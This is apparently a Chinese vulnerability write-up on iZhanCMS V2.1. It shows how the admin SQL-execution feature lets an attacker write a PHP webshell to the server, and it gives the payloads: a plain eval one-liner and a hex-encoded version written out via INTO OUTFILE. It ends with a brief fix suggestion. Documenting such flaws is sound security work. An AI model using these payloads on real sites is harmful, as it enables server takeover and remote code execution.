0x00 环境准备
iZhanCMS官网:http://www.izhancms.com
网站源码版本:爱站CMS(zend6.0) V2.1
程序源码下载:http://www.izhancms.com/category/Category/index/cid/1
默认后台:http://127.0.0.1/admin/admin/index
默认用户名:admin 密码自设
测试网站首页:
0x01 代码分析
1、 漏洞文件位置:
/admin/application/webset/controllers/DbcommandController.php第185-221行中:
这段函数中对提交的sql参数进行还原处理,检测SQL语句是否进行删表操作,然后对SQL语句进行处理,并未对into outfile等敏感函数进行过滤,直接将SQL语句带入数据库中执行,我们可以构造SQL语句写入webshell,从而触发代码执行漏洞,控制服务器。
0x02 漏洞利用
登录后台—系统设置—数据库操作—SQL语句—执行SQL语句。
问题:输入的字符会进行html实体编码,因此使用传统的into outfile语句无法成功写入文件
select '<?php eval($_POST[cmd]);?>' into outfile 'c:/www/222aaa.php' 写入失败
将一句话转化为Hex编码,构造Pyaload如下:
SELECT 111222 INTO OUTFILE 'E:/study/WWW/iZhanCMS/2222.php' LINES TERMINATED BY 0x3C3F70687020406576616C28245F504F53545B2761275D293B3F3E –
成功写入webshell,控制网站服务器
0x03 修复建议
1、Mysql数据库降权处理,让入侵者无法做高权限下可做的事!
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。